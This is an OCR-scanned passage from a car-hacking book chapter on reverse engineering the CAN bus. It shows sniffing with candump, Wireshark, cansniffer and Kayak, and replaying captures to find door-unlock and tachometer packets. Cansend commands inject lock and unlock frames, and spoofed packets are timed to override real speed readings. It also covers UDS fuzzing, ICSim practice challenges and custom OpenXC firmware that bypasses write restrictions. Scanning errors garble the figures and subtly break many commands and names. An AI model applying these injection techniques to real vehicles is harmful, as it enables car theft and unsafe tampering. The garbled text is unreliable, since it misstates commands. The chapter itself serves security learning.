can be done to determine whether there are vulnerabilities. Malicious actors
will need to do the same thing, although they won’t be motivated to share
their findings. If they can keep undocumented entry points and weaknesses a
secret, then their exploit will last longer without being detected. Having
secret interfaces into the vehicle doesn’t increase security; the vulnerabilities
are there regardless of whether people are allowed to discuss them. Because
there’s money in selling these codes (sometimes upward of $50,000), the
industry has little incentive to embrace the community.

Summary

In this chapter, you have gone beyond traditional CAN packets to
understand more complex protocols such as ISO-TP. You have learned how
CAN packets can be linked together to write larger messages or to create
two-directional communications over CAN. You also learned how to read
and clear any D'T'Cs. You looked at how to find undocumented diagnostic
services and saw what types of data are recorded about you and your driving



habits. You also explored some ways in which diagnostic services can be used
by malicious parties.



3
REVERSE ENGINEERING THE CAN BUS

In order to reverse engineer the CAN bus, we first have to be able to read
the CAN packets and identify which packets control what. That said, we
don’t need to be able to access the official diagnostic CAN packets because
they’re primarily a read-only window. Instead, we’re interested in accessing
all the other packets that flood the CAN bus. The rest of the nondiagnostic
packets are the ones that the car actually uses to perform actions. It can take
a long time to grasp the information contained in these packets, but that
knowledge can be critical to understanding the car’s behavior.

Locating the CAN Bus

Of course, before we can reverse the CAN bus, we need to locate the CAN.
If you have access to the OBD-II connector, your vehicle’s connector pinout
map should show you where the CAN is. (See Chapter 2 for common
locations of the OBD connectors and their pinouts.) If you don’t have access
to the OBD-II connector or you’re looking for hidden CAN signals, try one
of these methods:

* Look for paired and twisted wires. CAN wires are typically two wires
twisted together.



* Use a multimeter to check for a 2.5V baseline voltage. (This can be
difficult to identify because the bus is often noisy.)

¢ Use a multimeter to check for ohm resistance. The CAN bus uses a 120-
ohm terminator on each end of the bus, so there should be 60 ohms
between the two twisted-pair wires you suspect are CAN.

* Use a two-channel oscilloscope and subtract the difference between the
two suspected CAN wires. You should get a constant signal because the
differential signals should cancel each other out. (Differential signaling is

discussed in “The CAN Bus” on page 16.)

If the car is turned off, the CAN bus is usually silent, but something as simple
as inserting the car key or pulling up on the door handle will usually wake the
vehicle and generate signals.

Once you’ve identified a CAN network, the next step is to start
monitoring the traffic.

Reversing CAN Bus Communications with can-utils and
Wireshark

First, you need to determine the type of communication running on the bus.
You'll often want to identify a certain signal or the way a certain component
talks—for example, how the car unlocks or how the drivetrain works. In
order to do so, locate the bus those target components use, and then reverse
engineer the packets traveling on that bus to identify their purpose.

T'o monitor the activity on your CAN, you need a device that can
monitor and generate CAN packets, such as the ones discussed in Appendix
A. There are a ton of these devices on the market. The cheap OBD-II
devices that sell for under $20 technically work, but their sniffers are slow
and will miss a lot of packets. It’s always best to have a device that’s as open
as possible because it’ll work with the majority of software tools—open
source hardware and software is ideal. However, a proprietary device
specifically designed to sniff CAN should still work. We’ll look at using

candump, from the can-utiis suite, and Wireshark to capture and filter the



packets.

Generic packet analysis won’t work for CAN because CAN packets are
unique to each vehicle’s make and model. Also, because there’s so much
noise on CAN; it’s too cumbersome to sort through every packet as it flows
by in sequence.

Using Wireshark

Wireshark (bttps://www.wireshark.org/) is a common network monitoring
tool. If your background is in networking, your first instinct may be to use
Wireshark to look at CAN packets. This technically works, but we will soon
see why Wireshark is not the best tool for the job.

If you want to use Wireshark to capture CAN packets, you can do so
together with SocketCAN. Wireshark can listen on both canX and vcanX
devices, but not on slcanX because serial-link devices are not true netlink
devices and they need a translation daemon in order for them to work. If you
need to use a slcanX device with Wireshark, try changing the name from
slecanX to canX. (I discuss CAN interfaces in detail Chapter 2.)

If renaming the interface doesn’t work or you simply need to move CAN
packets from an interface that Wireshark can’t read to one it can, you can
bridge the two interfaces. You'll need to use candump from the can-utils
package in bridge mode to send packets from s1cano to vcano.

S candump -b vcan0 slcan0

Notice in Figure 5-1 that the data section isn’t decoded and is just
showing raw hex bytes. This is because Wireshark’s decoder handles only
the basic CAN header and doesn’t know how to deal with ISO-TP or UDS
packets. The highlighted packet is a UDS request for VIN. (I've sorted the
packets in the screen by identifier, rather than by time, to make it easier to

read.)
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OPAN /. @DXC Q¢ >»VYTF L2 EBE s DMK @

Filter: + | Expression.. Clear Apply Save

Mo. Time Source Destination Protocol Length Info

31Y L. 18927888 LAN 10 31U UXHHUBED/Y  4F 31 D3 34 5D 33 38 5L
1371 3.231564000 CAN 16 5TD: 0x00000670 47 31 S5a 54 35 33 38 32
2285 133.8733630¢ CAN 16 STD: 6x00000678 47 31 Sa 54 35 33 38 32
3136 135.8810160¢ CAN 16 STD: @xBE808678 47 31 Sa 54 35 33 38 32
3987 137.8985740¢ CAN 16 5TD: 9x08080678 47 31 5a 54 35 33 38 32
4839 139.9013550¢ CAN 16 STD: 6x60000678 47 31 5a 54 35 33 38 32
S688 141.9087640¢€ CAN 16 STD: 0x00000678 47 31 Sa 54 35 33 38 32
6540 143.91683060¢ CAN 16 5TD: Ox00808678 47 31 Sa 54 35 33 38 32
7392 145.9288930¢ CAN 16 STD: 6x00060678 47 31 Sa 54 35 33 38 32
8244 147.9413890¢ CAN 16 5TD: Bx00000678 47 31 5a 54 35 33 38 32
9896 149.9509920¢ CAN 16 STD: @x00008678 47 31 Sa 54 35 33 38 32
9947 151.9616920¢ CAN 16 5TD: Ox00000678 47 31 S5a 54 35 33 38 32
16796 153.9693300¢ CAN 16 STD: Bx00800578 47 31 Sa 54 35 33 38 32
11647 155.9792258€ CAN 16 5TD: @x66008676 47 31 5a 54 35 33 38 32
12498 157.9915796¢ CAN 16 5TD: 9x00000678 47 31 5a 54 35 33 38 32
13351 160.6612170¢ CAN 16 STD: 6x06000678 47 31 5a 54 35 33 38 32
14204 162.0137770¢ CAN 16 STD: Ox0E000678 47 31 Sa 54 35 33 38 32
15861 164.0244680¢ CAN 16 STD: Ox00000678 47 31 Sa 54 35 33 38 32
14321 162.29549306 CAN 11 STD: Ox@00007df 82 09 62
14326 162.3023376¢ CAN 16 STD: Ox600007e8 16 14 49 82 @1 31 47 31
14358 162.3781070¢ CAN 16 STD: 0x000007e8 21 5a 54 35 33 38 32 36
14360 162,3831140¢ CAN 16 5TD: ox000007e8 22 46 31 30 39 31 34 39

»Frame 14321: 11 bytes on wire (88 bits), 11 bytes captured (88 bits) on interface @
vController Area Network
...D £00O 6000 6GOO 6GOO 6111 1161 1111 = Identifier: OxBOOGBTIF

Boe. tii. iiee cmes sise suas wxas -.-. = Extended Flag: False
Bl ciii tiui aees mees weee aees .... = Remote Transmission Request Flag: False
eaBi caie sase smse asss sams sess oses @ EFPOr Flag: False
Frame-Length: 3
vData (3 bytes)
Data: 020962
[Length: 3]
0660 @@ 00 67 df @3 88 ff ff eze3 62 ... ...
O File *femp/wireshark_pcapng_... Packets: 15851 - Displayed: 15851 (100.0%) - Dropped: 0 (0.0%) Profile: Default

Figure 5-1: Wireshark on the CAN bus

Using candump

As with Wireshark, candump doesn’t decode the data for you; that job is left
up to you, as the reverse engineer. Listing 5-1 uses s1cano as the sniffer
device.

$ candump slcan0

slcan0@ 3880 [2]© 01 100

slcanO 110 [8] 00 00 00 0O 00 00 0O 00
slcanO 120 [8] F2 89 63 20 03 20 03 20
slcanO 320 [8] 20 04 00 00 00 00 0O 00
slcanO 128 [3] Al 00 02

slcanO 7DF [3] 02 09 02

slcan0 7E8 [8] 10 14 49 02 01 31 47 31
slcanO 110 [8] 00 00 00 0O 00 00 0O 00
slcanO 120 [8] F2 89 63 20 03 20 03 20
slcanO 410 [8] 20 00 00 0O 00 00 0O 00
slcanO 128 [3] A2 00 01

slcanO 380 [8] 02 02 00 00 EO 00 7E OE
slcanO 388 [2] 01 10

slcanO 128 [3] A3 00 00



slcan0 110 [8] 00 00 00 00 00 OO 00 00
slcan0 120 [8] F2 89 63 20 03 20 03 20
slcan0 520 [8] 00 00 04 00 00 0O 00 00
slcanO 128 [3] A0 00 03

slcan0 380 [8] 02 02 00 00 EO 00 7F 0D
slcanO 388 [2] 01 10

slcan0 110 [8] 00 00 00 00 00 OO 00 00
slcan0 120 [8] F2 89 63 20 03 20 03 20
slcanO 128 [3] Al 00 02

slcan0 110 [8] 00 00 00 00 00 0O 00 00
slcan0 120 [8] F2 89 63 20 03 20 03 20
slcanO 128 [3] A2 00 01

slcanO 380 [8] 02 02 00 00 EO 00 7C 00

Listing 5-1: candump Of traffic streaming through a CAN bus

The columns are broken down to show the sniffer device @, the

arbitration 1D @, the size of the CAN packet ©, and the CAN data itself @.
Now you have some captured packets, but they aren’t the easiest to read.
We’ll use filters to help identify the packets we want to analyze in more
detail.

Grouping Streamed Data from the CAN Bus

Devices on a CAN network are noisy, often pulsing at set intervals or when
triggered by an event, such as a door unlocking. This noise can make it futile
to stream data from a CAN network without a filter. Good CAN sniffer
software will group changes to packets in a data stream based on their
arbitration ID, highlighting only the portions of data that have changed
since the last time the packet was seen. Grouping packets in this way makes
it easier to spot changes that result directly from vehicle manipulation,
allowing you to actively monitor the tool’s sniffing section and watch for
color changes that correlate to physical changes. For example, if each time
you unlock a door you see the same byte change in the data stream, you
know that you’ve probably identified at least the byte that controls the door-
unlocking functions.

Grouping Packets with cansniffer

The cansniffer command line tool groups the packets by arbitration ID and
highlights the bytes that have changed since the last time the sniffer looked
at that ID. For example, Figure 5-2 shows the result of running cansniffer



on the device s1cano.

< cansniffer slcan® # 1=20 h=100 t=500 >
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Figure 5-2: cansnifrer example output

You can add the -c flag to colorize any changing bytes.

S cansniffer -c slcan0

The cansniffer tool can also remove repeating CAN traffic that isn’t
changing, thereby reducing the number of packets you need to watch.

Filtering the Packets Display

One advantage of cansniffer is that you can send it keyboard input to filter
results as they’re displayed in the terminal. (Note that you won’t see the
commands you enter while cansniffer is outputting results.) For example, to
see only IDs 301 and 308 as cansniffer collects packets, enter this:

-000000
+301
+308

Entering -000000 turns off all packets, and entering +301 and +30s filters
out all except IDs 301 and 308.

The -000000 command uses a bitrmask, which does a bit-level comparison
against the arbitration ID. Any binary value of 1 used in a mask is a bit that
has to be true, while a binary value of 0 is a wildcard that can match



anything. A bitmask of all Os tells cansni ffer to match any arbitration ID.
The minus sign (-) in front of the bitmask removes all matching bits, which
is every packet.

You can also use a filter and a bitmask with cansniffer to grab a range of
IDs. For example, the following command adds the IDs from 500 through
SFF to the display, where 500 is the ID applied to the bitmask of 700 to
define the range we’re interested in.

+500700

To display all IDs of 5XX, you’d use the following binary representation:

ID Binary Representation
500 101 0000 0000

700 111 0000 0000

101 XXXX XXXX

5 X X

You could specify FOO instead of 700, but because the arbitration ID is
made up of only 3 bits, a 7 is all that’s required.

Using 7FF as a mask is the same as not specifying a bitmask for an ID.
For example

+3017FF

is the same as

+301

This mask uses binary math and performs an anp operation on the two
numbers, 0x301 and Ox7FF:

ID Binary Representation
301 011 0000 0001
7FF 111 1111 1111

011 0000 0001
301
For those not familiar with anp operations, each binary bit is compared,
and if both are a 1 then the outputis a 1. For instance, 1 ano 1 = 1, while 1
AND 0 = 0.



If you prefer to have a GUI interface, Kayak, which we discussed in
“Kayak” on page 46, is a CAN bus—monitoring application that also uses
socketcand and will colorize its display of capture packets. Kayak won’t
remove repeating packets the way cansniffer does, but it offers a few unique
capabilities that you can’t easily get on the command line, such as
documenting the identified packets in XML (.kcd files), which can be used by
Kayak to display virtual instrument clusters and map data (see Figure 5-3).
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Figure 5-3: Kayak GUI interface

Using Record and Playback

Once you’ve used cansniffer or a similar tool to identify certain packets to
focus on, the next step is to record and play back packets so you can analyze
them. We’ll look at two different tools to do this: can-utils and Kayak.



They have similar functionality, and your choice of tool will depend on what
you’re working on and your interface preferences.

The can-utiis suite records CAN packets using a simple ASCII format,
which you can view with a simple text editor, and most of its tools support
this format for both recording and playback. For example, you can record
with candump, redirect standard output or use the command line options to
record to a file, and then use canplayer to play back recordings.

Figure 5-4 shows a view of the layout of Kayak’s equivalent to cansniffer.
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Figure 5-4: Kayak recording to a logfile

To record CAN packets with Kayak, first click the Play button in the Log
files tab @. Then drag one or more buses from the Projects pane to the
Busses field of the LogOutput Window tab @. Press the Record and Stop

buttons at the bottom of the LogOutput window ® to start or stop
recording. Once your packet capture is complete, the logging should show in



the Log Directory drop-down menu (see Figure 5-5).

If you open a Kayak logfile, you’ll see something like the code snippet in
Listing 5-2. The values in this example won’t directly correlate to those in

Figure 5-4 because the GUI groups by ID, as in cansniffer, but the log is
sequential, as in candump.

PLATFORM NO_PLATFORM

DESCRIPTION "No description"

DEVICE_ALIAS OBD Port slcanO
(1094.141850)@ slcan0® 128#a20001©
(1094.141863) slcan0 380#02020000e0007e0e
(1094.141865) slcan0 388#0110
(1094.144851) slcan0 110#0000000000000000
(1094.144857) slcan0 120#£289632003200320

Listing 5-2: Contents of Kayak’s logfile
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Figure 5-5: Right pane of Log files tab settings

Other than some metadata (pLaTFORM, DESCRIPTION, and DEVICE_aLIAS), the



log is pretty much the same as the one captured by the can-utiis package: @
is the timestamp, @ is your bus, and © is your arbitration ID and data
separated by a # symbol. To play back the capture, right-click the Log
Description in the right panel, and open the recording (see Figure 5-5).

Listing 5-3 shows the logfile created by candump using the -1 command
line option:

(1442245115.027238) slcan0 166#D0320018
(1442245115.028348) slcan0O 158#0000000000000019
(1442245115.028370) slcanO 161#000005500108001C
(1442245115.028377) slcan0 191#010010A141000B

Listing 5-3: candump logfile

Notice in Listing 5-3 that the candump logfiles are almost identical to
those displayed by Kayak in Figure 5-4. (For more details on different can-
utils programs, see “The CAN Utilities Suite” on page 41.)

Creative Packet Analysis

Now that we’ve captured packets, it’s time to determine what each packet
does so we can use it to unlock things or exploit the CAN bus. Let’s start
with a simple action that’ll most likely toggle only a single bit—the code to
unlock the doors—and see whether we can find the packet that controls that
behavior.

Using Kayak to Find the Door-Unlock Control

There’s a ton of noise on the CAN bus, so finding a single-bit change can be
very difficult, even with a good sniffer. But here’s a universal way to identify

the function of a single CAN packet:

Press Record.

Perform the physical action, such as unlocking a door.
Stop Record.

Press Playback.

See whether the action was repeated. For example, did the door unlock?

AR



If pressing Playback didn’t unlock the door, a couple of things may have
gone wrong. First, you may have missed the action in the recording, so try
recording and performing the action again. If you still can’t seem to record
and replay the action, the message is probably hardwired to the physical lock
button, as is often the case with the driver’s-side door lock. Try unlocking
the passenger door instead while recording. If that still doesn’t work, the
message for the unlock action is either on a CAN bus other than the one
you’re monitoring—you’ll need to find the correct one—or the playback
may have caused a collision, resulting in the packet being stomped on. Try
to replay the recording a few times to make sure the playback is working.

Once you have a recording that performs the desired action, use the
method shown in Figure 5-6 to filter out the noise and locate the exact
packet and bits that are used to unlock the door via the CAN bus.

Now, keep halving the size of the packet capture until you’re down to
only one packet, at which point you should be able figure out which bit or
bits are used to unlock the door. The quickest way to do this is to open your
sniffer and filter on the arbitration ID you singled out. Unlock the door, and
the bit or byte that changed should highlight. Now, try to unlock the car’s
back doors, and see how the bytes change. You should be able to tell exactly
which bit must be changed in order to unlock each door.
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Figure 5-6: Sample unlock reversing flow

Using can-utils to Find the Door-Unlock Control

To identify packets via can-utils, you’d us€ candump tO record and canplayer



to play back the logfile, as noted earlier. Then, you’d use a text editor to
whittle down the file before playback. Once you’re down to one packet, you
can then determine which byte or bits control the targeted operation with
the help of cansena. For instance, by removing different halves of a logfile,
you can identify the one ID that triggers the door to unlock:

slcanO 300 [8] 00 00 84 00 00 OF 00 00

Now, you could edit each byte and play back the line, or you could use
cansniffer with a filter of +300 to single out just the 300 arbitration ID and
monitor which byte changes when you unlock the door. For example, if the
byte that controls the door unlock is the sixth byte—O0xOF in the preceding
example—we know that when the sixth byte is 0x00, the doors unlock, and
when it’s 0x0OF, the doors lock.

This is a bypothetical example that assumes we’ve performed all the steps listed
earlier in this chapter to identify this particular byte. The specifics will vary for
each vehicle.

We can verify our findings with cansena:

$ cansend slcan0 300#00008400000F0000

If, after sending this, all the doors lock, we’ve successfully identified
which packets control the door unlock.

Now, what happens when you change the 0x0F? To find out, unlock the
car and this time send a 0x01:

$ cansend slcan0 300#0000840000010000

Observe that only the driver’s-side door locks and the rest stay open. If
you repeat this process with a 0x02, only the front passenger’s-side door
locks. When you repeat again with a 0x03, both the driver’s-side door and
the front passenger’s-side door lock. But why did 0x03 control two doors
and not a different third door? The answer may make more sense when you
look at the binary representation:




0x00 = 00000000
0x01 = 00000001
0x02 = 00000010
0x03 = 00000011

The first bit represents the driver’s-side door, and the second represents
the front passenger’s-side door. When the bit is a 1, the door locks, and
when it’s a 0, it unlocks. When you send an 0x0F, you’re setting all bits that
could affect the door lock to a binary 1, thereby locking all doors:

0xOF = 00001111

What about the remaining four bits? The best way to find out what they
do is to simply set them to 1 and monitor the vehicle for changes. We
already know that at least some of the 0x300 signal relates to doors, so it’s
fairly safe to assume the other four bits will, too. If not, they might control
different door-like behavior, such as unlatching the trunk.

If you don’t get a response when you toggle a bit, it may not be used at all and
may simply be reserved.

Getting the Tachometer Reading

Obtaining information on the tachometer (the vehicle’s speed) can be
achieved in the same way as unlocking the doors. The diagnostic codes
report the speed of a vehicle, but they can’t be used to set how the speed
displays (and what fun is that?), so we need to find out what the vehicle is
using to control the readings on the instrument cluster (IC).

To save space, the RPM values won’t display as a hex equivalent of the
reading; instead, the value is shifted such that 1000 RPM may look like
0xFAQ. This value is often referred to as “shifted” because in the code, the
developers use bit shifting to perform the equivalent of multiplying or
dividing. For the UDS protocol, this value is actually as follows:

(first byte x 256) + second byte
4




To make matters worse, you can’t monitor CAN traffic and query the
diagnostic RPM to look for changing values at the same time. This is
because vehicles often compress the RPM value using a proprietary method.
Although the diagnostic values are set, they aren’t the actual packets and
values that the vehicle is using, so we need to find the real value by reversing
the raw CAN packets. (Be sure to put the car in park before you do this, and
even lift the vehicle off the ground or put it on rollers first to avoid it
starting suddenly and crushing you.)

Follow the same steps that you used to find the door unlock control:

Press Record.
Press the gas pedal.
Stop Record.
Press Playback.

See whether the tachometer gauge has moved.

AR

You’ll probably find that a lot of engine lights flash and go crazy during
this test because this packet is doing a lot more than just unlocking the car
door. Ignore all the blinking warning lights, and follow the flowchart shown
in Figure 5-6 to find the arbitration ID that causes the tachometer to
change. You’ll have a much higher chance of collisions this time than when
trying to find the bit to unlock the doors because there’s a lot more going
on. Consequently, you may have to play and record more traffic than before.
(Remember the value conversions mentioned earlier, and keep in mind that
more than one byte in this arbitration ID will probably control the reported
speed.)

Putting Kayak to Work

To make things a bit easier, we’ll use Kayak’s GUI instead of can-utils to
find the arbitration IDs that control the tachometer. Again, make sure that
the car is immobilized in an open area, with the emergency brake on, and
maybe even up on blocks or rollers. Start recording and give the engine a
good rev. Then, stop recording and play back the data. The RPM gauge
should move; if it doesn’t, you may be on the wrong bus and will need to
locate the correct bus, as described earlier in this chapter.

Once you have the reaction you expect from the vehicle, repeat the



halving process used to find the door unlock, with some additional Kayak
options.

Kayak’s playback interface lets you set the playback to loop infinitely and,
more importantly, set the “in” and “out” packets (see Figure 5-7). The slider
represents the number of packets captured. Use the slider to pick which
packet you start and stop with during playback. You can quickly jump to the
middle or other sections of the recording using the slider, which makes
playing back half of a section very easy.

‘Log input - candump-2009-11-13_154950.log a4 x
Controls
[ Flay ][ Pause ][ Stop ]
Infinite replay PLAY

1,946 Restore in 5,924 [ Restore out ]g,ua?

Busses

canl (Dashboard) --> | < Drag bus here =

canl (Powertrain) --> cang [ Remove bus ]

cang (Comfort) --=  canl [ Remove bus ]

Figure 5-7: Kayak playback interface

As for testing, you won’t be able to send only a single packet as you did
when you tried to unlock the car because the vehicle is constantly reporting
its current speed. To override this noise, you need to talk even faster than
the normal communication to avoid colliding all the time. For instance, if
you play your packets right after the real packet plays, then the last seen
update will be the modified one. Reducing noise on the bus results in fewer
collisions and cleaner demos. If you can send your fake packet immediately
after the real packet, you often get better results than you would by simply
flooding the bus.

To send packets continuously with can-utils, you can use a while loop
with cansend or cangen. (When using Kayak’s Send Frame dialog to transmit



packets, make sure to check the Interval box.)

Creating Background Noise with the Instrument Cluster
Simulator

The instrument cluster simulator (ICSim) is one of the most useful tools to
come out of Open Garages, a group that fosters open collaboration between
mechanics, performance tuners, and security researchers (see Appendix A).
ICSim is a software utility designed to produce a few key CAN signals in
order to provide a lot of seemingly “normal” background CAN noise—
essentially, it’s designed to let you practice CAN bus reversing without
having to tinker around with your car. (ICSim is Linux only because it relies
on the virtual CAN devices.) The methods you’ll learn playing with ICSim
will directly translate to your target vehicles. ICSim was designed as a safe
way to familiarize yourself with CAN reversing so that the transition to an
actual vehicle is as seamless as possible.

Setting Up the ICSim

Grab the source code for the ICSim from
https://github.com/zombieCraig/ICSim and follow the README file supplied
with the download to compile the software. Before you run ICSim, you
should find a sample script in the README called sezup_vcan.sh that you can
run to set up a veano interface for the ICSim to use.

ICSim comes with two components, icsim and controls, which talk to

each other over a CAN bus. To use ICSim, first load the instrument cluster
to the vcan device like this:

S ./icsim wvcanoO

In response, you should see the ICSim instrument cluster with turn
signals, a speedometer, and a picture of a car, which will be used to show the
car doors locking and unlocking (see Figure 5-8).
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Figure 5-8: ICSim instrument cluster

The icsim application listens only for CAN signals, so when the ICSim
first loads, you shouldn’t see any activity. In order to control the simulator,

load the CANBus Control Panel like this:

S ./controls wvcan0

The CANBus Control Panel shown in Figure 5-9 should appear.
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Figure 5-9: ICSim control interface

The screen looks like a game controller; in fact, you can plug in a USB
game controller, and it should be supported by ICSim. (As of this writing,
you can use sixad tools to connect a PS3 controller over Bluetooth as well.)
You can use the controller to operate the ICSim in a method similar to
driving a car using a gaming console, or you can control it by pressing the
corresponding keys on your keyboard (see Figure 5-9).

Once the control panel is loaded, you should see the speedometer idle just above
0 mph. If the needle is jiggling a bit, you know it’s working. The control
application writes only to the CAN bus and bhas no other way to communicate
with the icsim. The only way to control the virtual car is through the CAN.

The main controls on the CANBus Control Panel are as follows:

Accelerate (up arrow) Press this to make the speedometer go faster.
The longer you hold the key down, the faster the virtual vehicle goes.

Turn (left/right arrows) Hold down a turn direction to blink the turn



signals.

Lock (left sHIFT), Unlock (right SHIFT) This one requires you to press
two buttons at once. Hold down the left SHIFT and press a button (A, B,
X, or Y) to lock a corresponding door. Hold down the right SHIFT and
press one of the buttons to unlock a door. If you hold down left SHIFT and
then press right SHIFT, it will unlock all the doors. If you hold down right
SHIFT and press left SHIFT, you’ll Jock all the doors.

Make sure you can fit both the ICSim and the CANBus Control Panel on
the same screen so that you can see how they influence each other. Then,
select the control panel so that it’s ready to receive input. Play around with
the controls to make sure that the ICSim is responding properly. If you
don’t see a response to your controls, ensure that the ICSim control window
is selected and active.

Reading CAN Bus Traffic on the ICSim

When you’re sure everything is working, fire up your sniffer of choice and
take a look at the CAN bus traffic, as shown in Figure 5-10. Try to identify
which packets control the vehicle, and create scripts to control ICSim
without using the control panel.

Most of the changing data you see in Figure 5-10 is caused by a replay file
of a real CAN bus. You’ll have to sort through the messages to determine
the proper packets. All methods of replay and packet sending will work with
ICSim, so you can validate your findings.
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Figure 5-10: Screen layout for using ICSim

Changing the Difficulty of ICSim

One of the great things about ICSim is that you can challenge yourself by
making it harder to find the target CAN traffic. ICSim supports four
difficulty levels—O0 through 3, with level 1 as the default. Level 0 is a super
simple CAN packet that does the intended operation without any
background noise, while level 3 randomizes all the bytes in the packet as
well. To have the simulator choose different IDs and target byte positions,
use ICSim’s randomize option:

S ./icsim -r wvcanO
Using CAN interface wvcan0
Seed: 1419525427

This option prints a randomized seed value to the console screen.

Pass this value into the CANBus Control Panel along with your choice of
difficulty level:

S ./controls -s 1419525427 -1 3 wvcan0




You can replay or share a specific seed value as well. If you find one you
like or if you want to race your friends to see who can decipher the packets
first, launch ICSim with a set seed value like this:

S ./icsim -s 1419525427 wvcan0

Next, launch the CANBus Control Panel using the same seed value to
sync up the randomized control panel to the ICSim. If the seed values aren’t
the same, they won’t be able to communicate.

It may take you a while to locate the proper packets the first time using
ICSim, but after a few passes, you should be able to quickly identify which
packets are your targets.

Try to complete the following challenges in ICSim:

1. Create “hazard lights.” Make both turn signals blink at the same time.
2. Create a command that locks only the back two doors.
3. Set the speedometer as close as possible to 220 mph.

Reversing the CAN Bus with OpenXC

Depending on your vehicle, one solution to reverse engineering the CAN
bus is OpenXC, an open hardware and software standard that translates
proprietary CAN protocols into an easy-to-read format. The OpenXC
initiative was spearheaded by the Ford Motor Company—and as I write this,
OpenXC is supported only by Ford—but it could work with any auto
manufacturer that supports it. (Visit http://openxcplatform.com/ for
information on how to acquire a pre-made dongle.)

Ideally, open standards for CAN data such as OpenXC will remove the
need for many applications to reverse engineer CAN traffic. If the rest of the
automotive industry were to agree on a standard that defines how their
vehicles work, it would greatly improve a car owner’s ability to tinker and
build on new innovative tools.

Translating CAN Bus Messages

If a vehicle supports OpenXC, you can plug a vehicle interface (VI) in to the
CAN bus, and the VI should translate the proprietary CAN messages and
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send them to your PC so you can read the supported packets without having
to reverse them. In theory, OpenXC should allow access to any CAN packet
via a standard API. This access could be read-only or allow you to transmit
packets. If more auto manufacturers eventually support OpenXC, it could
provide third-party tools with more raw access to a vehicle than they would
have with standard UDS diagnostic commands.

OpenXC supports Python and Android and includes tools such as openxc-dump
to display CAN activity.

The fields from OpenXC’s default API are as follows:

® accelerator_pedal_position

® brake_pedal_status

® button_event (typically steering wheel buttons)
® Joor_status

® cngine_speed

fuel consumed_since_last_restart
® fuel level

® headlamp_status

® high beam_status

ignition_status

® latitude

® Jongitude

® odometer

® varking brake_status
steering_wheel_angle
torque_at_transmission

transmission_gear_position



® yehicle speed

® windshield_wiper_status

Different vehicles may support different signals than the ones listed here
or no signals at all.

OpenXC also supports JSON trace output for recording vehicle journey.
JSON provides a common data format that’s easy for most other modern
languages to consume, as shown in Listing 5-4.

{"metadata": {

"version": "v3.0",

"vehicle interface_id": "7ABF",
"vehicle": {

"make": "Ford",

"model": "Mustang",

"trim": "V6 Premium",

"vear": 2013

Y,

"description": "highway drive to work",
"driver name": "TJ Giuli",
"vehicle_id": "17N1039247929"

}

Listing 5-4: Simple JSON file output

Notice how the metadata definitions in JSON make it fairly easy for both
humans and a programming language to read and interpret. The above
JSON listing is a definition file, so an API request would be even smaller.
For example, when requesting the field steering_wheel_angle, the translated

CAN packets would look like this:

{"timestamp": 1385133351.285525, "name": "steering_wheel_angle",
"value": 45}

You can interface with the OpenXC with OBD like this:

S openxc-diag -message-id 0x7df -mode 0x3

Writing to the CAN Bus

If you want to write back to the bus, you mzight be able to use something like
the following line, which writes the steering wheel angle back to the vehicle,



but you’ll find that the device will resend only a few messages to the CAN
bus.

S openxc-control write -name steering wheel_angle -value 42.0

Technically, OpenXC supports raw CAN writes, too, like this:

S openxc-control write -bus 1 -id 42 -data 0x1234

This brings us back from translated JSON to raw CAN hacking, as
described earlier in this chapter. However, if you want to write an app or
embedded graphical interface to only read and react to your vehicle and you
own a new Ford, then this may be the quickest route to those goals.

Hacking OpenXC

If you’ve done the work to reverse the CAN signals, you can even make your
own VI OpenXC firmware. Compiling your own firmware means you don’t
have any limitations, so you can read and write whatever you want and even
create “unsupported” signals. For example, you could create a signal for
remote_engine_start and add it to your own firmware in order to provide a
simple interface to start your car. Hooray, open source!

Consider a signal that represents engine_speed. Listing 5-5 will set a basic
configuration to output the engine_speed signal. We’ll send RPM data with a
2-byte-long message ID 0x110 starting at the second byte.

{ "name" : "Test Bench",
"buses": {

nhsn R {

"controller": 1,

"speed": 500000
}
Y,

"messages": {

"0x110": {

"name": "Acceleration",

"bus", "hs",

"signals": {
"engine_speed_signal": {
"generic_name": "engine_speed",

"bit_position": 8,
"bit_size": 16

}
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Listing 5-5: Simple OpenXC config file to define engine_speed

The OpenXC config files that you want to modify are stored in JSON.
First, we define the bus by creating a JSON file with a text editor. In the
example, we create a JSON config for a signal on the high-speed bus
running at S00Kbps.

Once you have the JSON config defined, use the following code to
compile it into a CPP file that can be compiled into the firmware:

S openxc-generate-firmware-code -message-set ./test-bench.json >
signals.cpp

Then, recompile the VI firmware with these commands:

S fab reference build

If all goes well, you should have a .bin file that can be uploaded to your
OpenXC-compatible device. The default bus is set up in raw read/write
mode that sets the firmware to a cautionary read-only mode by default,
unless signals or a whole bus is set up to support writing. To set those up,
when deﬁning the bllS, you can add raw_can_mode OI raw_writable and set
them to true.

By making your own contfig files for OpenXC, you can bypass the
restrictions set up in prereleased firmware and support other vehicles besides
Ford. Ideally, other manufacturers will begin to support OpenXC, but
adoption has been slow, and the bus restrictions are so strict you’ll probably
want to use custom firmware anyhow.

Fuzzing the CAN Bus

Fuzzing the CAN bus can be a good way to find undocumented diagnostic
methods or functions. Fuzzing takes a random, shotgun-like approach to
reversing. When fuzzing, you send random-ish data to an input and look for
unexpected behavior, which in the case of a vehicle could be physical



changes, such as IC messages, or component crashes, such as shutdowns or
reboots.

The good news is that it’s easy to make a CAN fuzzer. The bad news is
that it’s rarely useful. Useful packets are often part of a collection of packets
used to cause a particular change, such as a diagnostic service that is active
only after a successful security token has been passed to it, so it’s difficult to
tell which packet to focus on when fuzzing. Also, some CAN packets are
visible only from within a moving vehicle, which would be very dangerous.
Nevertheless, don’t rule out fuzzing as a potential method of attack because
you can sometimes use it to locate undocumented services or crashes to a
target component you want to spoof.

Some sniffers support fuzzing directly—a feature usually found in the
transmission section and represented by the tool’s ability to transmit packets
with incrementing bytes in the data section. For example, in the case of
SocketCAN, you can use cangen to generate random CAN traffic. Several
other open source CAN sniffing solutions allow for easy scripting or
programming with languages such as Python.

A good starting point for fuzzing is to look at the UDS commands,
specifically the “undocumented” manufacturer commands. When fuzzing
undocumented UDS modes, we typically look for any type of response from
an unknown mode. For instance, when targeting the UDS diagnostics of the
ECU, you might send random data to ID 0x7DF and get an error packet
from an unexpected mode. If you use brute-forcing tools such as
CaringCaribou, however, there are often cleaner ways of accomplishing the
same thing, such as monitoring or reversing the diagnostic tools themselves.

Troubleshooting When Things Go Wrong

The CAN bus and its components are fault-tolerant, which limits the
damage you can do when reversing the CAN bus. However, if you're fuzzing
the CAN bus or replaying a large amount of CAN data back on a live CAN
